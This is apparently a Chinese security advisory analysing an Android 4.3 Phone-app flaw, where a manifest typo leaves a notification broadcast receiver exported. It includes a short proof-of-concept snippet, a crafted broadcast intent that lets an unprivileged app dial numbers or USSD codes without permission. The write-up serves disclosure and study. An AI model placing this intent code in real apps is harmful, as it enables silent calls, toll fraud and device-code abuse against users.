1. 简介

这一类漏洞由德国的安全研究机构Curesec所发现,去年年底的时候秘密告诉Google,直到今年7月份的时候才决定公布一个类似的漏洞。这个漏洞涉及到com.android.phone.PhoneGlobals$NotificationBroadcastReceiv的组件暴露问题,导致恶意的应用程序无需声明任何权限就可打电话。

   2. 漏洞细节

   在Android源码(以JELLY_BEAN 4.3为例) /packages/apps/Phone/src/com/android/phone/PhoneGlobals.java存在一个名为NotificationBroadcastReceiver的BroadcastReceiver.


public static class NotificationBroadcastReceiver extends BroadcastReceiver {
        @Override
        public void onReceive(Context context, Intent intent) {
            String action = intent.getAction();
            // TODO: use "if (VDBG)" here.
            Log.d(LOG_TAG, "Broadcast from Notification: " + action);

            if (action.equals(ACTION_HANG_UP_ONGOING_CALL)) {
                PhoneUtils.hangup(PhoneGlobals.getInstance().mCM);
            } else if (action.equals(ACTION_CALL_BACK_FROM_NOTIFICATION)) {
                // Collapse the expanded notification and the notification item itself.
                closeSystemDialogs(context);
                clearMissedCallNotification(context);

                Intent callIntent = new Intent(Intent.ACTION_CALL_PRIVILEGED, intent.getData());
                callIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK
                        | Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS);
                context.startActivity(callIntent);
            } else if (action.equals(ACTION_SEND_SMS_FROM_NOTIFICATION)) {
                // Collapse the expanded notification and the notification item itself.
                closeSystemDialogs(context);
                clearMissedCallNotification(context);

                Intent smsIntent = new Intent(Intent.ACTION_SENDTO, intent.getData());
                smsIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                context.startActivity(smsIntent);
            } else {
                Log.w(LOG_TAG, "Received hang-up request from notification,"
                        + " but there's no call the system can hang up.");
            }
        }

从代码中可以看到这个PhoneGlobals$NotificationBroadcastReceiver根据接收Intent的三种action,触发不同的动作:

(1)ACTION_HANG_UP_ONGOING_CALL:挂断正在进行中的电话;

(2)ACTION_CALL_BACK_FROM_NOTIFICATION:发送 action为Intent.ACTION_CALL_PRIVILEGED的intent,最终会启动拨号的Activity(为OutgoingCallBroadcaster,从AndroidManifest得知),直接拨号;

(3)ACTION_SEND_SMS_FROM_NOTIFICATION:发送Intent,启动发送的短信的Activity,这一步需要用户干预。


有趣的是,在NotificationBroadcastReceiver前有这样的注释,

Accepts broadcast Intents which will be prepared by {@link NotificationMgr} and thus sent from framework's notification mechanism (which is outside Phone context).This should be visible from outside, but shouldn't be in "exported" state.

程序员也知道这个类是不应该为导出状态的。


然而在/packages/apps/Phone/AndroidManifest.xml中却看到如下的语句,注意红色部分应该为android:exported:"false",由于程序员少敲了个android,导致false没有真正生效。

 <!-- BroadcastReceiver for receiving Intents from Notification mechanism. -->
521        <receiver android:name="PhoneGlobals$NotificationBroadcastReceiver" exported="false">
522            <intent-filter>
523                <action android:name="com.android.phone.ACTION_HANG_UP_ONGOING_CALL" />
524                <action android:name="com.android.phone.ACTION_CALL_BACK_FROM_NOTIFICATION" />
525                <action android:name="com.android.phone.ACTION_SEND_SMS_FROM_NOTIFICATION" />
526            </intent-filter>
527        </receiver>


在android sdk文档中有如下对receiver组件manifest中android:exported属性的说明。

  • android:exported

  • Whether or not the broadcast receiver can receive messages from sources outside its application  — "true" if it can, and "false" if not.  If "false", the only messages the broadcast receiver can receive are those sent by components of the same application or applications with the same user ID.

    The default value depends on whether the broadcast receiver contains intent filters.   The absence of any filters means that it can be invoked only by Intent objects that specify its exact class name.  This implies that the receiver is intended only for application-internal use (since others would not normally know the class name).   So in this case, the default value is "false". On the other hand, the presence of at least one filter implies that the broadcast receiver is intended to receive intents broadcast by the system or other applications, so the default value is "true".

    This attribute is not the only way to limit a broadcast receiver's external exposure.   You can also use a permission to limit the external entities that can send it messages (see the permission attribute).


当为true时表明该receiver可以接收所属应用以外的消息,而为false时,只能接收同一应用组件或同一uid应用所发送的消息。而该属性的默认值取决于是否声明Intent filter,当没有声明时,默认为flase;当声明至少一个Intent filter时,默认为true。在package.apps.Phone的manifest文件中,由于少敲了个android,实际是没有设置android:exported属性,而该文件又声明了3个intent filter,因此取默认值true。这就是漏洞的成因。

    3. 漏洞利用与危害

我们先来看下Android中的正常打电话流程,比如如下的代码,用户点击Button则会拨EdiText输入框中的号码

  protected void onCreate(Bundle savedInstanceState) {
        
        super.onCreate(savedInstanceState);
        setContentView(R.layout.newmain);
        
        bt = (Button)findViewById(R.id.btn1);
        edt = (EditText)findViewById(R.id.edit1);
        
        bt.setOnClickListener(new Button.OnClickListener() {
            public void onClick(View v) {
                String inputStr = edt.getText().toString();
                
                if(inputStr.trim().length()!= 0)
                {
                    Intent phoneIntent = new Intent("android.intent.action.CALL", 
                            Uri.parse("tel:" + inputStr));
                    startActivity(phoneIntent);
                }
                else
                {
                    Toast.makeText(MainActivity.this, "请输入号码!", Toast.LENGTH_LONG).show();
                }
                }
            });

同时需要在Manifest文件中声明权限

<uses-permission
        android:name="android.permission.CALL_PHONE" />


利用上述漏洞恶意App,却不需要任何权限,只需要调用如下的代码

Intent intent = new Intent();
intent.setComponent(new ComponentName("com.android.phone","com.android.phone.PhoneGlobals$NotificationBroadcastReceiver"));
intent.setAction("com.android.phone.ACTION_CALL_BACK_FROM_NOTIFICATION");
intent.setData(Uri.parse("tel:xxx"));
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
sendBroadcast(intent);

由于Intent.ACTION_CALL_PRIVILEGED还支持类似于*#06#那样的USSD/SS/MMI指令,因此可能造成更为严重的危害。

 4. 影响范围与POC

受影响的Android版本如下

wKioL1RTNlfAQgFlAAB4gOQD_xI496.jpg

Curesec在其网站中给出了实现POC的APP,并编写了Drozer利用模块,见[3]。


参考:

[1] http://1.xbalien.sinaapp.com/?p=171

[2] http://androidxref.com/4.3_r2.1/xref/packages/apps/Phone/src/com/android/phone/PhoneGlobals.java#1575

[3] http://blog.curesec.com/article/blog/35.html